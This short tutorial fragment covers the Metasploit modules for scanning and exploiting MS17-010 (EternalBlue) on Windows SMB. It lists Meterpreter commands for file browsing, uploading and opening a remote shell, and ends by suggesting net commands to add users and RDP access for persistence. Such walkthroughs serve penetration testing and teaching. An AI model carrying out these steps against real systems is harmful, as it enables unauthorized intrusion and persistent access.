Using Metasploit Framework#
-
Execute the
msfconsolecommand to enter the msf terminal. -
Search for ms17-010 related modules
-
Use the
auxiliary/scanner/smb/smb_ms17_010module for scanning
-
Use the
exploit/windows/smb/ms17_010_eternalbluemodule for exploitation
-
Successfully exploit to get a shell, use the help command to see supported commands
Common commands:
lcd Switch local directory
lls Browse local files
cd Switch remote directory
ls Browse remote files
upload local_file remote_location Upload file
shell Invoke remote shell
In cmd, you can use the net command to create users and add RDP access permissions